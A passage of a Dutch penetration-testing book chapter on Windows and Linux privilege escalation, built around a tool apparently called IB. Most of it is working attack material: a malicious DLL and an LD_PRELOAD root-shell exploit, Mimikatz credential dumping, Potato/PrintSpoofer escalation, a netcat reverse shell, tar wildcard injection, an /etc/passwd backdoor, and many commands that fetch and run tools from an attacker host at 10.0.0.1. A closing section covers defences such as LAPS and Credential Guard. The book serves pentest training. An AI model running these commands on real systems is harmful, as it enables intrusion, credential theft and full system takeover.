Als een applicatie een DLL laadt die niet bestaat in de eerste directories maar wel later in het zoekpad, en jij schrijfrechten hebt op een eerdere directory, dan kun je een malicious DLL plaatsen die als eerste gevonden wordt.

Detectie

Het vinden van hijackable DLL’s is een kunst. Process Monitor (ProcMon) is je beste vriend:

1. Start ProcMon met admin rechten
2. Filter: Operation = CreateFile, Result = NAME NOT FOUND, Path ends with .dll
3. Start de kwetsbare applicatie of service
4. Observeer welke DLL's niet gevonden worden

Of, minder elegant maar sneller:

# Zoek writable directories in PATH
$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        Write-Output "$_ -> $($acl.AccessToString)"
    }
}

Exploitatie

// malicious.c - Minimale DLL die een reverse shell start
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd /c C:\\Windows\\tasks\\payload.exe");
    }
    return TRUE;
}
# Compileer op je aanvalsmachine
x86_64-w64-mingw32-gcc malicious.c -shared -o malicious.dll

Plaats de DLL op de juiste locatie, herstart de service of applicatie, en geniet van je elevated shell.

IB Tip: DLL hijacking is vooral interessant bij services die als SYSTEM draaien en bij applicaties die bij opstarten worden geladen. Combineer met WinPEAS en PowerUp om writable directories en ontbrekende DLL’s te vinden.

6.7 Token Impersonation

Token impersonation is het proces waarbij je de beveiligingstoken van een andere gebruiker “steelt” en deze gebruikt om acties uit te voeren in diens naam. Het is alsof je iemands naamkaartje afpakt bij een conferentie en daarmee de VIP-lounge binnenloopt. De bewaker controleert het kaartje, niet je gezicht.

Windows gebruikt tokens om bij te houden wie wat mag. Er zijn twee soorten:

Delegation tokens zijn de heilige graal. Als een domain admin ooit heeft ingelogd op de machine waar je je bevindt – via RDP, via runas, via wat dan ook – dan kan zijn token nog steeds in het geheugen rondzweven als een geest die weigert te vertrekken.

Vereiste

Je hebt SeImpersonatePrivilege of SeAssignPrimaryTokenPrivilege nodig. Service accounts (IIS, MSSQL, etc.) hebben deze standaard.

IB Command: cred_token_impersonate Vier methoden voor token impersonation.

Methode 1: Rubeus (Kerberos tickets)

:: Bekijk beschikbare tickets
.\Rubeus.exe triage

:: Dump een specifiek ticket
.\Rubeus.exe dump /luid:0x12345 /nowrap

:: Injecteer het ticket in je sessie
.\Rubeus.exe ptt /ticket:BASE64_TICKET_HERE

Methode 2: Incognito

Incognito is een klassiek tool dat al bestond voordat de meeste pentesters geboren waren (in computer-jaren, tenminste):

:: Lijst alle beschikbare tokens
.\incognito.exe list_tokens -u

:: Impersonate een specifieke gebruiker
.\incognito.exe execute -c "DOMAIN\Administrator" cmd.exe

Methode 3: Mimikatz token elevation

# Verhoog naar SYSTEM en dump credentials
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

# Impersonate een specifieke domain admin
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate /domainadmin" "token::run /process:cmd.exe"'

Methode 4: PowerShell verificatie

Om te bevestigen dat impersonation is gelukt:

# Wie ben ik nu?
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name

IB Tip: Delegation tokens zijn het waardevolst – ze worden aangemaakt bij interactieve logons. Impersonation tokens bij netwerklogons. Zoek altijd eerst naar delegation tokens van geprivilegieerde gebruikers.

6.8 PrintSpoofer en Potato-aanvallen

Hier komen we bij een familie van aanvallen die, qua naamgeving, klinkt als het menu van een fastfoodrestaurant. RottenPotato. JuicyPotato. SweetPotato. HotPotato. RoguePotato. GodPotato. PrintSpoofer. Het is alsof de beveiligingscommunity haar tools vernoemde na een avond uit bij een frietkraam.

Maar achter de belachelijke namen schuilt een serieuze aanvalsfamilie. Al deze tools exploiteren dezelfde fundamentele zwakte: als je SeImpersonatePrivilege hebt (wat service accounts standaard hebben), kun je Windows misleiden om als SYSTEM te authenticeren naar jouw proces, waarna je die authenticatie “vangt” en hergebruikt.

Hoe werkt het?

Het principe is in elke variant hetzelfde:

  1. Je service account heeft SeImpersonatePrivilege
  2. Je trikt een SYSTEM-proces om te authenticeren naar jouw listener
  3. Je vangt het SYSTEM token
  4. Je impersonated dat token
  5. Je bent nu NT AUTHORITY\SYSTEM

Het verschil zit in hoe je stap 2 uitvoert. PrintSpoofer gebruikt de Print Spooler service. Potato-varianten gebruiken DCOM, BITS, of andere Windows-services.

PrintSpoofer

PrintSpoofer is de modernste en meest betrouwbare variant. Het misbruikt de Print Spooler service om een named pipe te creeren waarop SYSTEM authenticated.

IB Command: get_printspoofer32 Download PrintSpoofer naar het target.

# Download via IB
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/PrintSpoofer32.exe',
    'c:\windows\tasks\PrintSpoofer32.exe'
)

Uitvoering:

:: Direct een elevated cmd openen
cd C:\Windows\tasks
PrintSpoofer64.exe -i -c cmd

:: Of een reverse shell
PrintSpoofer64.exe -c "C:\Windows\tasks\nc.exe 10.0.0.1 443 -e cmd.exe"

IB Tip: Het IB printspoofer command combineert download en uitvoering in een stap:

cd C:\Windows\tasks && certutil -urlcache -f http://127.0.0.1/tools/PrintSpoofer64.exe print.exe && print.exe -i -c cmd

Downloaden, hernoemen (voor stealth), en direct uitvoeren.

RottenPotato / JuicyPotato

De oudere varianten, maar nog steeds relevant op oudere Windows-versies:

:: Download via IB
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/rottenpotato.exe',
    'c:\windows\tasks\rottenpotato.exe'
)

:: Uitvoering
.\rottenpotato.exe

JuicyPotato biedt meer controle:

:: JuicyPotato met specifieke CLSID en poort
JuicyPotato.exe -l 1337 -p c:\windows\tasks\payload.exe -t * -c {CLSID}

Wanneer welke Potato?

Tool Windows versie Vereiste
PrintSpoofer 10, 11, Server 2016+ SeImpersonatePrivilege
GodPotato Alle moderne versies SeImpersonatePrivilege
JuicyPotato 7, 8, Server 2008-2016 SeImpersonatePrivilege + CLSID
RottenPotato 7, Server 2008-2012 SeImpersonatePrivilege
SweetPotato 10, Server 2016-2019 SeImpersonatePrivilege

IB Tip: PrintSpoofer is je go-to voor moderne Windows. Valt hij uit? Probeer GodPotato. Op oude systemen: JuicyPotato.

Deel 2: Mimikatz – het Zwitserse zakmes van credential theft

Als er een tool is die het gezicht van offensieve beveiliging heeft gedefinieerd in het afgelopen decennium, dan is het Mimikatz. Geschreven door Benjamin Delpy – een Fransman die, met de nonchalance van iemand die net even op iets interessants stuitte, de fundamenten van Windows-authenticatie heeft opengebroken.

Mimikatz is technisch gezien “gewoon” een tool dat credentials uit het geheugen haalt. Maar dat is alsof je zegt dat een nucleaire reactor “gewoon” water verwarmt. Het doet het, ja, maar de implicaties zijn aanzienlijk.

6.9 Mimikatz op het target krijgen

IB Commands: get_mimikatz en mimikatz Twee varianten om Mimikatz te leveren.

Variant 1: PowerShell download

# IB get_mimikatz
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/mimikatz.exe',
    'c:\windows\tasks\mimikatz.exe'
)

Variant 2: certutil download (vaak minder gedetecteerd)

# IB mimikatz command
cd C:\Windows\tasks && certutil -urlcache -f http://127.0.0.1/tools/mimikatz.exe mimi.exe

Merk op dat de mimikatz variant het bestand hernoemt naar mimi.exe. Dit is basic operational security – AV en EDR scannen niet alleen bestands- inhoud maar ook bestandsnamen. mimikatz.exe triggert meer alarmen dan mimi.exe. Het is niet waterdicht, maar elke laag helpt.

Variant 3: In-memory via PowerShell (Invoke-Mimikatz)

# Download en voer uit zonder op disk te schrijven
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/invoke-mimikatz.ps1')
Invoke-Mimikatz

IB Tip: Het IB psmimikatz command downloadt Mimikatz vanuit de mini-tools directory (/tools/mini/):

powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://127.0.0.1/tools/mimi/mimikatz.exe',
    'c:\windows\tasks\mimi.exe'
)

De mini-directory bevat kleinere of geobfusceerde versies.

6.10 Credential dumping met Mimikatz

Nu je Mimikatz op het target hebt, is het tijd om credentials te oogsten. Dit is het moment waarop de pentest van “technische oefening” verandert in “existentiele crisis voor de systeembeheerder.”

Basisgebruik

:: Start Mimikatz
mimikatz.exe

:: Verkrijg debug privileges (vereist admin/SYSTEM)
privilege::debug

:: Dump logon wachtwoorden uit geheugen (LSASS)
sekurlsa::logonpasswords

:: Dump Kerberos tickets
sekurlsa::tickets /export

:: Dump wachtwoord hashes uit SAM
lsadump::sam

:: Dump cached domain credentials
lsadump::cache

Wat krijg je terug?

sekurlsa::logonpasswords geeft je, afhankelijk van de Windows-versie en configuratie:

Gegeven Windows 7/2008 Windows 10/2016+
Plaintext wachtwoord Vaak Zelden (WDigest uit)
NTLM hash Altijd Altijd
Kerberos tickets Altijd Altijd
DPAPI keys Altijd Altijd

Op oudere systemen (of systemen waar WDigest authentication aan staat) krijg je plaintext wachtwoorden. Op moderne systemen krijg je NTLM hashes, wat nog steeds nuttig is voor Pass-the-Hash en Kerberos-aanvallen.

WDigest forceren (als je al SYSTEM bent)

Op moderne Windows is WDigest standaard uitgeschakeld. Maar als je al SYSTEM bent, kun je het weer aanzetten en wachten tot iemand opnieuw inlogt:

:: Schakel WDigest in
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

:: Wacht tot iemand inlogt, dan opnieuw dumpen
sekurlsa::logonpasswords

:: Vergeet niet op te ruimen
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

SafetyKatz: Mimikatz maar dan stiekem

SafetyKatz is een variant die Mimikatz in-memory uitvoert via een minidump van LSASS, waardoor het minder detecteerbaar is:

# Download via IB
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/SafetyKatz.exe',
    'c:\windows\tasks\SafetyKatz.exe'
)

# Uitvoeren
.\SafetyKatz.exe

IB Tip: IB heeft een get_safetykatz command. SafetyKatz is vaak de betere keuze dan standaard Mimikatz in omgevingen met EDR, omdat het de LSASS dump indirect uitvoert.

Deel 3: Linux Privilege Escalation

Na de barokke complexiteit van Windows voelt Linux privilege escalation aan als een verfrissende wandeling door een overzichtelijk park. Niet omdat het minder gevaarlijk is – integendeel – maar omdat de patronen helderder zijn en de mechanismen eleganter.

Op Linux zijn er in essentie vijf categorieen van privilege escalation:

  1. SUID/SGID binaries – programma’s die altijd met root-rechten draaien
  2. Sudo misconfiguraties – te brede sudo-regels
  3. Cron jobs – geplande taken die als root draaien met writable scripts
  4. Capabilities – fijnmazige privileges op binaries
  5. Kernel exploits – de nucleaire optie

6.11 SUID binaries: de eeuwige zonde

SUID (Set User ID) is een permissie-bit die ervoor zorgt dat een binary altijd draait met de rechten van de eigenaar, ongeacht wie het uitvoert. Als de eigenaar root is en het binary SUID heeft, draai je als root. Zo simpel. Zo gevaarlijk.

IB Command: privesc_linux_cron Bevat ook SUID en capability checks.

Zoeken naar SUID binaries

# Vind alle SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Vind SGID binaries
find / -perm -2000 -type f 2>/dev/null

De output is een lijst van binaries. De meeste zijn legitiem (passwd, ping, su). Maar sommige zijn dat niet. En dat is waar GTFOBins om de hoek komt kijken.

GTFOBins is een database van Unix-binaries die misbruikt kunnen worden als ze SUID hebben, sudo-rechten hebben, of andere speciale permissies. Het is het kookboek voor Linux privilege escalation.

Veelvoorkomende SUID exploits

# nmap (oude versies met --interactive mode)
nmap --interactive
!sh

# find
find . -exec /bin/sh -p \;

# vim
vim -c ':!sh'

# python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# bash (als bash zelf SUID heeft)
bash -p

# cp -- kopieer een SUID bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p

De -p flag bij bash en sh is cruciaal. Zonder die flag dropt de shell de SUID privileges. Met die flag behoudt hij ze. Het is een detail dat het verschil maakt tussen een shell als jezelf en een shell als root.

6.12 Sudo misconfigurations

sudo -l is een van de eerste commando’s die je draait na landing op een Linux-machine. Het toont welke commando’s je als andere gebruikers (meestal root) mag uitvoeren:

sudo -l

Waar je naar zoekt:

(ALL) NOPASSWD: /usr/bin/vim
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: ALL

Dat laatste is het jackpot-scenario. Maar zelfs individuele binaries zijn vaak genoeg:

# vim met sudo -> shell escape
sudo vim -c ':!sh'

# less met sudo -> shell escape
sudo less /etc/passwd
# In less, typ: !sh

# find met sudo -> command execution
sudo find . -exec /bin/sh \;

# awk met sudo
sudo awk 'BEGIN {system("/bin/sh")}'

# man met sudo
sudo man man
# In man, typ: !sh

LD_PRELOAD aanval

Als de sudo-configuratie env_keep bevat met LD_PRELOAD, is het feest:

// pe.c - LD_PRELOAD exploit
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}
# Compileer
gcc -shared -fPIC -o /tmp/pe.so pe.c -nostartfiles

# Uitvoeren via sudo met LD_PRELOAD
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/programma

Dit werkt omdat LD_PRELOAD een shared library laadt voordat het eigenlijke programma start. En als dat programma als root draait via sudo, draait jouw library ook als root.

6.13 Cron jobs: de vergeten tijdbommen

Cron jobs zijn geplande taken die op vaste tijden draaien. Ze zijn de Linux-variant van “ik schrijf het wel even in mijn agenda” – behalve dat niemand ooit zijn agenda controleert, en de taken jarenlang blijven draaien met rechten die al lang hadden moeten worden ingetrokken.

IB Command: privesc_linux_cron Uitgebreide cron, SUID en capability enumeratie.

Enumeratie

# Systeem cron jobs
cat /etc/crontab

# Cron directories
ls -la /etc/cron.*
ls -la /var/spool/cron/crontabs/

# Zoek writable scripts die als root draaien
find / -path /proc -prune -o -writable -type f 2>/dev/null |
    grep -E '(\.sh|\.py|\.pl)'

Als je een script vindt dat: 1. Door root via cron wordt uitgevoerd 2. Writable is voor jouw gebruiker

Dan is het simpel: pas het script aan, wacht, en je hebt root.

Process monitoring (als je geen cron kunt lezen)

Soms heb je geen leesrechten op crontab, maar draaien er toch periodieke taken. pspy is een tool die nieuwe processen monitort zonder root-rechten:

# Handmatige variant
watch -n 1 'ps aux | grep -v watch'

# Of download pspy
wget http://10.0.0.1/tools/pspy64
chmod +x pspy64
./pspy64

Wildcard injection (tar)

Dit is een van de meest elegante Linux exploits. Als een cron job draait:

tar czf /tmp/backup.tar.gz *

Dan kun je de wildcard * misbruiken door bestanden te maken met namen die tar als flags interpreteert:

# Maak het exploit script
echo '#!/bin/bash' > shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> shell.sh
chmod +x shell.sh

# Maak "bestanden" die tar als flags leest
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"

# Wacht tot cron draait, dan:
/tmp/rootbash -p

Wat hier gebeurt: als tar de directory leest, ziet het de bestanden --checkpoint=1 en --checkpoint-action=exec=sh shell.sh als command-line argumenten. Het voert shell.sh uit met de rechten van het cron-proces – root.

Het is als een bediende die de post sorteert en een brief opent die begint met “Voer de volgende instructies uit.” En dat doet hij dan ook.

6.14 Capabilities

Linux capabilities zijn een fijnmaziger alternatief voor SUID. In plaats van “alles of niets” kun je specifieke privileges toekennen aan een binary. Maar als je de verkeerde capability toewijst, is het effect hetzelfde.

# Zoek binaries met capabilities
getcap -r / 2>/dev/null
Capability Risico Exploit
cap_setuid+ep Hoog python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
cap_dac_read_search+ep Hoog Kan alle bestanden lezen (shadow, etc.)
cap_net_bind_service+ep Laag Bind op privileged poorten
cap_sys_admin+ep Hoog Vrijwel equivalant aan root

De gevaarlijkste is cap_setuid. Als Python of Perl deze capability heeft:

# Python met cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl met cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

6.15 Writable /etc/passwd

Op oudere systemen, of systemen die slecht geconfigureerd zijn, is /etc/passwd writable voor niet-root gebruikers:

# Check permissies
ls -la /etc/passwd

Als je schrijfrechten hebt:

# Genereer een wachtwoord hash
openssl passwd -1 hacked

# Voeg een root-equivalent gebruiker toe
echo 'hacker:$1$xyz$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd

# Login als je nieuwe root gebruiker
su hacker
# Wachtwoord: hacked

De UID 0 is wat telt. Elk account met UID 0 is effectief root, ongeacht de naam.

6.16 Kernel exploits: de nucleaire optie

Kernel exploits zijn de laatste redmiddel. Ze zijn krachtig, maar onvoorspelbaar – een verkeerde exploit kan de machine crashen. Gebruik ze alleen als alle andere opties zijn uitgeput.

# Bepaal kernel versie
uname -a
cat /proc/version

# Zoek bekende exploits
# searchsploit linux kernel <versie>
# Google: "linux kernel <versie> privilege escalation"

Bekende voorbeelden:

CVE Naam Kernel versie
CVE-2016-5195 Dirty COW < 4.8.3
CVE-2021-4034 PwnKit Alle met pkexec
CVE-2022-0847 Dirty Pipe 5.8 - 5.16.11
CVE-2023-0386 OverlayFS < 6.2
CVE-2023-32233 nf_tables < 6.3.2

IB Tip: Kernel exploits zijn riskant in productieomgevingen. In een lab: ga je gang. In een pentest: overleg altijd met de opdrachtgever voordat je kernel exploits inzet. Een crash is niet te verantwoorden.

Deel 4: IB Tool Delivery

Je hebt nu een uitgebreid repertoire aan escalatie-technieken. Maar al die technieken hebben een ding gemeen: je hebt tools nodig op het target. En dat is precies waar het IB download-systeem om de hoek komt kijken.

6.17 De Download Blueprint

IB’s download blueprint (meuk/flask/download.py) is het leveringssysteem voor tools en payloads. Het is opgezet met een simpel maar effectief beveiligingsmodel: standaard alleen beschikbaar vanaf localhost.

De architectuur:

IB Server (aanvalsmachine)
    |
    +-- /payloads/<bestand>  (of /p/<bestand>)     -> http/payloads/
    +-- /tools/<bestand>     (of /t/<bestand>)     -> http/tools/
    +-- /tools/mini/<bestand> (of /tm/<bestand>)   -> http/tools/mini/
    |
    +-- /dashboard/files      -> Overzicht van tools en payloads
    +-- /dashboard/bestanden  -> Lijst tools (tekst)
    +-- /dashboard/payloads   -> Lijst payloads (tekst)

Het beveiligingsmodel werkt als volgt:

_ALLOWED_LOCAL_IPS = {"127.0.0.1", "::1"}

def _downloads_allowed():
    # Optie 1: PUBLIC_DOWNLOADS=true in config
    if current_app.config.get("PUBLIC_DOWNLOADS", False):
        return True
    # Optie 2: Request komt van localhost
    if request.remote_addr in _ALLOWED_LOCAL_IPS:
        return True
    # Optie 3: Dashboard access token
    return dashboard_access_allowed()

Er zijn drie manieren om downloads beschikbaar te maken:

  1. Localhost – altijd toegestaan (voor je eigen machine)
  2. PUBLIC_DOWNLOADS=true – voor labs waar je de server exposeert
  3. Dashboard access token – voor geauthenticeerde toegang op afstand

Korte URL’s

IB biedt verkorte URL’s voor snellere delivery:

Volledige URL Korte URL
/payloads/shell_443.exe /p/shell_443.exe
/tools/mimikatz.exe /t/mimikatz.exe
/tools/mini/mimikatz.exe /tm/mimikatz.exe

Dit scheelt typwerk op het target en maakt het makkelijker om commando’s te onthouden.

6.18 De get_* commands: 28 tools aan je vingertoppen

IB bevat 28 get_* commands die elk een specifieke tool downloaden naar het target. Ze volgen allemaal hetzelfde patroon:

powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/TOOL.exe',
    'c:\windows\tasks\TOOL.exe'
)

Dit is de volledige lijst:

Command Tool Doel
get_winpeasx64 WinPEAS Windows enumeratie
get_winpeasx64_ofs WinPEAS (obfuscated) WinPEAS, minder detecteerbaar
get_mimikatz Mimikatz Credential dumping
get_safetykatz SafetyKatz Stealthy Mimikatz variant
get_sharpkatz SharpKatz C# Mimikatz variant
get_rubeus Rubeus Kerberos aanvallen
get_certify Certify ADCS enumeratie
get_printspoofer32 PrintSpoofer (32-bit) Potato-style escalatie
get_rottenpotato RottenPotato Token impersonation
get_spoolfool SpoolFool Print Spooler exploit
get_spoolsample SpoolSample Spooler coercion
get_spool Spool Spooler gerelateerd
get_ms-rprn MS-RPRN Print spooler RPC
get_petitpotam PetitPotam NTLM relay coercion
get_psexec64 PsExec (64-bit) Remote execution
get_nc Netcat Reverse shells, port forwarding
get_netscan NetScan Network scanning
get_nmap-7.94-setup Nmap installer Port scanning
get_loader Loader Payload loading
get_psbypassclm CLM Bypass Constrained Language Mode bypass
get_outflank-dumpert Dumpert LSASS dump (direct syscalls)
get_pingcastle PingCastle AD security assessment
get_goldengmsa GoldenGMSA GMSA password extractie
get_lazagne LaZagne Credential recovery
get_sharpsql SharpSQL MSSQL interactie
get_sharpwmi SharpWMI WMI remote execution
get_whisker Whisker Shadow credentials aanval
get_mssql MSSQL tools SQL Server tools

6.19 Walkthrough: tool downloaden en uitvoeren

Laten we het hele proces doorlopen van begin tot eind. Scenario: je hebt een shell op een Windows-machine als service account, en je wilt escaleren naar SYSTEM.

Stap 1: Controleer je rechten

whoami /priv

Output bevat SeImpersonatePrivilege – bingo.

Stap 2: Zorg dat IB draait op je aanvalsmachine

# Op je aanvalsmachine
cd incompetentbastard
flask --app app:create_app run --host 0.0.0.0 --port 80

Let op: --host 0.0.0.0 zodat het target de server kan bereiken. In een lab is dit prima. In een pentest wil je wellicht een specifiek interface binden.

Stap 3: Download PrintSpoofer via IB

Ga naar het IB dashboard, Commands-pagina. Klik op get_printspoofer32. Kopieer het command en voer het uit op het target:

powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/PrintSpoofer32.exe',
    'c:\windows\tasks\PrintSpoofer32.exe'
)

Of, als PowerShell geblokkeerd is, via certutil:

certutil -urlcache -f http://10.0.0.1/tools/PrintSpoofer32.exe C:\Windows\tasks\ps.exe

Stap 4: Voer uit

cd C:\Windows\tasks
ps.exe -i -c cmd

Stap 5: Bevestig escalatie

whoami
:: NT AUTHORITY\SYSTEM

Van service account naar SYSTEM in vier commando’s. De hele operatie duurt minder dan een minuut.

IB Tip: Als je liever vanuit het dashboard werkt: het IB Files overzicht (/dashboard/files) toont alle beschikbare tools en payloads. Je kunt de lijst gebruiken om te controleren welke tools beschikbaar zijn voordat je een command uitvoert.

Alternatieve delivery methoden

PowerShell WebClient en certutil zijn niet je enige opties. Hier zijn alternatieven voor als de ene geblokkeerd is:

# Invoke-WebRequest (PowerShell 3+)
Invoke-WebRequest -Uri http://10.0.0.1/tools/tool.exe -OutFile C:\Windows\tasks\tool.exe

# Invoke-RestMethod
Invoke-RestMethod -Uri http://10.0.0.1/tools/tool.exe -OutFile C:\Windows\tasks\tool.exe

# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source http://10.0.0.1/tools/tool.exe -Destination C:\Windows\tasks\tool.exe

# .NET WebClient (alternatieve syntax)
(New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1/t/tool.exe','C:\Windows\tasks\tool.exe')
:: certutil (vaak beschikbaar, zelden geblokkeerd)
certutil -urlcache -f http://10.0.0.1/t/tool.exe C:\Windows\tasks\tool.exe

:: bitsadmin
bitsadmin /transfer job /download /priority high http://10.0.0.1/t/tool.exe C:\Windows\tasks\tool.exe

Deel 5: Verdediging

Nu we uitgebreid hebben besproken hoe je privilege escaleert, is het tijd voor het tegenoffensief. Want als dit boek alleen aanvalstechnieken zou beschrijven zonder verdediging, zouden we niet veel beter zijn dan een handleiding voor inbrekers.

6.20 Least privilege: het principe dat niemand volgt

Het principe van least privilege stelt dat elke gebruiker, elk proces, en elk account precies die rechten moet hebben die nodig zijn voor zijn functie, en niet meer. Het is zo’n principe dat iedereen kent, iedereen onderschrijft, en niemand implementeert.

Even de cynische versie: “Iedereen in een organisatie heeft local admin rechten. De CEO heeft het nodig om zijn printer driver te installeren. De accountant heeft het nodig omdat een applicatie uit 2003 het vereist. De stagiair heeft het nodig omdat… ja, eigenlijk weet niemand waarom. Maar het intrekken zou een helpdesk-ticket veroorzaken, en dat is erger dan een datalek.”

En dat is het fundamentele probleem. Local admin rechten zijn de single biggest attack surface op Windows-machines. Met local admin kun je:

Zonder local admin kun je vrijwel niets van bovenstaande.

Concrete maatregelen

+-------------------------------+-------------------------------------------+
| Maatregel                     | Effect                                    |
+-------------------------------+-------------------------------------------+
| Verwijder onnodige local admin| Blokkeert >80% van escalatie-aanvallen    |
| LAPS implementeren            | Uniek local admin wachtwoord per machine  |
| Credential Guard              | Beschermt LSASS tegen Mimikatz            |
| Disable WDigest               | Geen plaintext wachtwoorden in geheugen   |
| UAC op "Always Notify"        | Blokkeert meeste UAC bypasses             |
| Fix unquoted service paths    | Verwijdert een triviaal escalatiepad      |
| AppLocker/WDAC                | Blokkeert uitvoering van onbekende tools  |
| Remove SeImpersonatePrivilege | Blokkeert Potato/PrintSpoofer aanvallen   |
+-------------------------------+-------------------------------------------+

6.21 LAPS: Local Administrator Password Solution

LAPS is Microsoft’s antwoord op het probleem van gedeelde local admin wachtwoorden. Zonder LAPS heeft elke machine in het domein hetzelfde local admin wachtwoord – of helemaal geen local admin wachtwoord. Met LAPS krijgt elke machine een uniek, willekeurig gegenereerd wachtwoord dat automatisch rouleert.

# Controleer of LAPS is geinstalleerd
Get-ADObject 'CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=domain,DC=local'

# Bekijk LAPS wachtwoord (als je rechten hebt)
Get-ADComputer -Identity WORKSTATION01 -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

LAPS lost een simpel maar verwoestend probleem op: als je een local admin hash dumpt op machine A, en elke machine hetzelfde wachtwoord heeft, kun je lateraal bewegen naar machine B, C, D, en E. Met LAPS werkt de hash maar op een machine.

6.22 Credential Guard

Credential Guard gebruikt virtualization-based security (VBS) om LSASS te isoleren. Mimikatz kan er niet bij. Het is alsof je de kluis niet in de bank zet, maar in een aparte dimensie. Zelfs als de inbreker in de bank staat, kan hij de kluis niet bereiken.

# Controleer of Credential Guard actief is
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
    Select-Object SecurityServicesRunning

6.23 Linux hardening

# Vind en repareer onnodige SUID bits
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Verwijder SUID waar niet nodig:
chmod u-s /usr/bin/onnodig_binary

# Audit sudo configuratie
visudo
# Vermijd: ALL=(ALL) NOPASSWD: ALL
# Gebruik: specifiek_user specifiek_host = (specifiek_target) specifiek_command

# Controleer cron job permissies
find /etc/cron* -writable -type f 2>/dev/null
# Fix: chmod 644 of strenger

# Controleer capabilities
getcap -r / 2>/dev/null
# Verwijder onnodige capabilities:
setcap -r /usr/bin/onnodig_binary

# Controleer /etc/passwd permissies
ls -la /etc/passwd /etc/shadow
# Moet zijn: -rw-r--r-- root root /etc/passwd
#            -rw-r----- root shadow /etc/shadow

Het ongemakkelijke gesprek over local admin

Laten we eerlijk zijn. De hele reden dat privilege escalation zo effectief is in de meeste organisaties, is niet een technisch probleem. Het is een politiek probleem. Een cultureel probleem. Een menselijk probleem.

Ergens, ooit, heeft iemand een helpdesk-ticket aangemaakt: “Ik kan mijn printer niet installeren.” De systeembeheerder, die al achttien tickets in de wachtrij had, twee vergaderingen had gemist, en zijn lunch had overgeslagen, klikte op “Toevoegen aan lokale Administrators-groep” en ging door met zijn dag.

Dat was tien jaar geleden. Die gebruiker is inmiddels gepensioneerd. Maar zijn local admin-rechten zijn er nog steeds. Net als die van de 400 andere gebruikers die om soortgelijke redenen local admin kregen. En nu is het “beleid.” Want als 400 mensen het hebben, is het geen uitzondering meer. Het is een standaard.

“Weet je wat het probleem is met beveiligingsbeleid?” Laat het even bezinken. “Het wordt geschreven door mensen die nooit een aanval hebben meegemaakt, goedgekeurd door mensen die niet weten wat het betekent, en genegeerd door mensen die het zouden moeten implementeren. Het is een keten van incompetentie zo perfect dat je het bijna zou bewonderen.”

En precies daarom worden pentesters ingehuurd. Niet om te bewijzen dat systemen kwetsbaar zijn – dat weet iedereen. Maar om de organisatie te dwingen het op te schrijven, er een risicoscore aan te hangen, en het in een rapport te zetten dat naar het management gaat. Want een PowerPoint is de enige taal die beslissers spreken.

Referentietabel

Onderwerp IB Command(s) Tools
Lokale enumeratie enum_privesc_local PowerUp, WinPEAS
WinPEAS download get_winpeasx64, get_winpeasx64_ofs WinPEAS
AlwaysInstallElevated privesc_alwaysinstall msfvenom, msiexec
UAC bypass privesc_uac_bypass fodhelper, UACME
Unquoted service paths enum_privesc_local PowerUp, wmic
DLL hijacking ProcMon, gcc
Token impersonation cred_token_impersonate Rubeus, Incognito
PrintSpoofer get_printspoofer32, printspoofer PrintSpoofer
RottenPotato get_rottenpotato RottenPotato
Mimikatz get_mimikatz, mimikatz, psmimikatz Mimikatz
SafetyKatz get_safetykatz SafetyKatz
Linux SUID/sudo privesc_linux_cron GTFOBins, find
Linux cron jobs privesc_linux_cron pspy
Linux capabilities privesc_linux_cron getcap
Tool delivery Alle get_* commands (28 stuks) IB download server
Verdediging LAPS, Cred Guard

Samenvatting

Privilege escalation is niet het resultaat van briljante hacking. Het is het resultaat van luie configuratie, vergeten beleidsregels en de universele menselijke neiging om “het later wel te fixen.” Elke techniek in dit hoofdstuk – van AlwaysInstallElevated tot wildcard injection, van Mimikatz tot writable cron jobs – exploiteert niet een technisch gebrek, maar een menselijk gebrek.

De tools zijn beschikbaar. De technieken zijn gedocumenteerd. De verdediging is bekend. Het enige dat ontbreekt, is de wil om het goed te doen.

En dat, beste lezer, is waarom wij pentesters nog steeds werk hebben.

